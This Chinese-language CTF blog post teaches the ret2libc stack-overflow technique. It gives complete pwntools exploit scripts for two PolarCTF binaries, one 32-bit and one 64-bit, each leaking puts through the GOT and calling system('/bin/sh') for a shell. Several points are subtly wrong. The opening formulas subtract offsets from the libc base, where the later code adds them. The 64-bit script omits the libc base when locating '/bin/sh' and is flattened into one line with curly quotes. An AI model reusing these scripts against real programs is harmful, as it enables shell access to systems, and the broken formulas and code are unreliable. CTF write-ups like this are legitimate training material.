文章

PWN ret2libc

PWN ret2libc

libc 相关知识

计算libc基地址

基地址:每次运行程序加载函数时,函数的基地址都会发生改变。这是一种地址随机化的保护机制,导致函数的真实地址每次运行都是不一样的。

这次运行程序的基地址 = 这次运行得到的某个函数func的真实地址 - 函数func的偏移地址 “这次!!”

libc_offset_puts 可以由pwntools的 libc.symbols[‘puts’] 获得

函数的真实地址 = libc基地址 + 偏移地址

libc_base = real_func - libc_offset_func

system_addr = libc_base - libc_offset_system

puts_addr = libc_base - libc_offset_puts

获取plt表或者got表里的 偏移地址

1
2
3
elf = ELF("file")
elf.plt['puts']
elf.got['puts']

通过puts打印出puts的真实地址

像puts(),write()这样的函数可以打印内容,我们可以直接利用这些打印函数,打印出某个函数的真实地址(即got表中存放的地址)

1
2
3
4
5
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret_addr = 0xdeadbeef
# payload = b'A' * padding + p32(puts_plt) + p32(ret_addr) + p32(puts_got)
# 调用plt里的puts打印出got里的puts got里面是真实的地址 也就是 real_puts

64 位

通过puts计算出 libc_base

32位 传入参数

填充字符 + 要跳转的函数 + 随便的函数地址 + 要跳转函数的参数

64位 传入参数

例题 32位 PolarCTFD&N Game

分析

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/win/Downloads]
└─$ file Game
Game: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=473b0474ed2e85434ce06aa3fbde434bbdd236bf, not stripped

┌──(kali㉿kali)-[~/win/Downloads]
└─$ checksec --file=Game
[*] '/home/kali/win/Downloads/Game'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida

main

alt text

function

alt text

star

alt text

最终发现是在star函数里出现了溢出 NX开启 没有getshell 没有system 那就是 ret2libc 了

exp

思路 找到libc 基地址 找到 system和 /bin/sh字符串的地址构造 rop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(arch="i386",os="linux")
file = "./Game"
io = process(file)
elf = ELF(file)

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

# libc_offset_puts = elf.libc.

star_addr = 0x080485F4

padding = 0x6C + 4

payload = b'a' * padding + p32(puts_plt) + p32(star_addr) + p32(puts_got) 

print(io.recvline())
io.sendline("yes")
print(io.recvline())
io.sendline("yes")
print(io.recvline())
io.sendline(payload)
io.recvline() # the print
puts_real = u32(io.recvline().strip())


libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc 版本很重要 libcsearch 根据获得的puts_real的后三位寻找
# libc database search:https://libc.blukat.me
libc_base = puts_real - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
sh_addr = libc_base + next(libc.search(b'/bin/sh'))

print(io.recvline()) # star

payload = b'a'*padding + p32(system_addr) +p32(0xdeadbeef) +p32(sh_addr)

io.sendline(payload)
io.interactive()

例题 64位 PloarCTFD&N sleep

分析

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/win/Downloads]
└─$ file sleep
sleep: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b42baed839564bd0484ceecd264384595f89afb5, not stripped

┌──(kali㉿kali)-[~/win/Downloads]
└─$ checksec --file=sleep
[*] '/home/kali/win/Downloads/sleep'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ida

alt text

exp

pop rdi; ret

1
2
3
┌──(kali㉿kali)-[~/win/Downloads]
└─$ ROPgadget --binary sleep --only "pop|ret" | grep rdi
0x0000000000400783 : pop rdi ; ret

```py from pwn import * context(arch=”amd64”,os=”linux”) file = “./sleep” io = process(file) elf = ELF(file)

puts_plt = elf.plt[“puts”] puts_got = elf.got[“puts”] fun_addr = 0x00000000004006BD rdi_ret = 0x0000000000400783 padding = 0x70 + 8

print(io.recvline()) payload = b’a’*padding + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(fun_addr) io.sendline(payload)

puts_real = u64(io.recvline().strip().ljust(8,b”\x00”))

64 位 u64 8个字节,

libc = ELF(“/lib/x86_64-linux-gnu/libc.so.6”) libc_base = puts_real - libc.symbols[“puts”] system_addr = libc_base + libc.symbols[“system”] sh_addr = next(libc.search(b”/bin/sh”))

print(io.recvline())

payload = b’a’*padding + p64(rdi_ret) + p64(sh_addr) + p64(system_addr) + p64(0xdeadbeef)

io.sendline(payload) io.interactive()

```

本文由作者按照 CC BY 4.0 进行授权